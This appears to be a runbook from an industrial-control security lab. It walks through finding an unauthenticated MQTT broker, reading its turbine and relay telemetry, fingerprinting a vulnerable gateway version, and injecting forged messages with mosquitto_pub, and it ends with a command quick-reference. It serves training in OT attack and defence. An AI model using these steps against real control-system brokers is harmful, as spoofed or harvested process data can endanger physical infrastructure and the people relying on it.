Runbook: clacks-relay¶
Discovery¶
A sweep of the DMZ from contractors-gate turns up port 1883 on 10.10.5.12.
root@contractors-gate:~# nc -zv 10.10.5.12 1883
The TCP handshake completes. Port 1883 is the default MQTT broker port. A wildcard subscription reveals what is flowing through it.
Observing live traffic¶
root@contractors-gate:~# mosquitto_sub -h 10.10.5.12 -t '#' -v
Turbine telemetry appears within seconds of eng-ws completing its startup. The guild-exchange umati/ topics arrive later, once guild-exchange finishes its .NET startup sequence (2-3 minutes).
What arrives¶
Three publishers feed the broker in normal operation.
uupl-eng-ws bridges live process data from the control-zone broker (uupl-mqtt, 10.10.3.60). Two topics arrive every five seconds and on events:
uupl/turbine/telemetry {"rpm": 2947, "temp_c": 174, "pressure": 84, "voltage_a": 225, "voltage_b": 223, "current_a": 73, "current_b": 71, "freq_x10": 483, "power_kw": 30, "estop": 0}
uupl/relay/a/trip {"relay_id": "a", "feeder": "Dolly Sisters", "cause": "undervoltage", "timestamp": ...}
uupl/turbine/telemetry publishes every five seconds from the PLC. uupl/relay/a/trip and uupl/relay/b/trip fire on relay events (trip or reclose). The field names map directly to PLC register addresses and relay COIL state. The estop field reflects the PLC emergency stop coil; a value of 1 means the turbine has shut down.
guild-exchange publishes one burst every five seconds under the umati/v2/umati-guild-exchange/ prefix. A # subscription sees the whole burst:
umati/v2/umati-guild-exchange/bad_list/errors []
umati/v2/umati-guild-exchange/clientOnline 1
umati/v2/umati-guild-exchange/gw-version umatiGateway-1.0.0-rc8+d80d512e5dca30c3e4d2ff7e543f4ac4fe7ccd39
umati/v2/umati-guild-exchange/online/nsu=http_3A_2F_2Fwww.cumulocity.com;i=7 1
umati/v2/umati-guild-exchange/online/nsu=http_3A_2F_2Fwww.cumulocity.com;i=9 1
umati/v2/umati-guild-exchange/online/nsu=http_3A_2F_2Fwww.cumulocity.com;i=11 1
umati/v2/umati-guild-exchange/list/BaseDataVariableType []
umati/v2/umati-guild-exchange/list/BaseDataVariableType []
umati/v2/umati-guild-exchange/list/BaseDataVariableType []
umati/v2/umati-guild-exchange/BaseDataVariableType/nsu=http_3A_2F_2Fwww.cumulocity.com;i=7 {}
umati/v2/umati-guild-exchange/BaseDataVariableType/nsu=http_3A_2F_2Fwww.cumulocity.com;i=9 {}
umati/v2/umati-guild-exchange/BaseDataVariableType/nsu=http_3A_2F_2Fwww.cumulocity.com;i=11 {}
The gw-version topic names the exact gateway build, umatiGateway-1.0.0-rc8, which is enough to confirm the CVE-2025-27615 exposure without touching the management UI. The namespace nsu=http_3A_2F_2Fwww.cumulocity.com is the URL-encoded form of http://www.cumulocity.com. Node IDs 7, 9, and 11 are the OPC-UA identifiers for Pump01’s operatingLevel, flow, and power nodes on guild-register. The data payloads are {}: guild-exchange cannot serialise plain process-value nodes into the umati schema, so the topic structure is the finding. No process values are visible in the MQTT stream from this publisher.
sorting-office publishes Modbus register data northbound under its own prefix once a southbound device is configured:
/neuron/sorting-office/<node>/<group>/<tag>
No southbound device is wired by default, so the Neuron topics are absent until one is added.
Injecting messages¶
The broker accepts publish from any anonymous client with no topic restrictions.
root@contractors-gate:~# mosquitto_pub -h 10.10.5.12 -t 'umati/v2/fake/flow' \
-m '{"Value":0,"SourceTimestamp":"2024-01-01T00:00:00Z"}'
The broker does not retain messages. An injected value reaches a subscriber only during the injection window. Subscribing before the legitimate publisher fires is the more reliable approach.
What you can know now¶
Access:
MQTT at
10.10.5.12:1883: anonymous publish and subscribe, all topics visible, no ACLs, no TLS
Data in flight:
eng-ws bridge:
uupl/turbine/telemetry(live turbine telemetry, every 5 s) anduupl/relay/#(trip/reclose events on demand)guild-exchange:
umati/v2/umati-guild-exchange/...(pump subscription events, continuous; payloads are{})sorting-office:
/neuron/sorting-office/...(Modbus readings, only after a southbound device is added)
Quick reference¶
root@contractors-gate:~# nc -zv 10.10.5.12 1883 confirm broker port
root@contractors-gate:~# mosquitto_sub -h 10.10.5.12 -t '#' -v subscribe all topics
root@contractors-gate:~# mosquitto_sub -h 10.10.5.12 -t 'umati/#' -v subscribe pump telemetry only
root@contractors-gate:~# mosquitto_pub -h 10.10.5.12 -t '<topic>' -m '<msg>' publish to any topic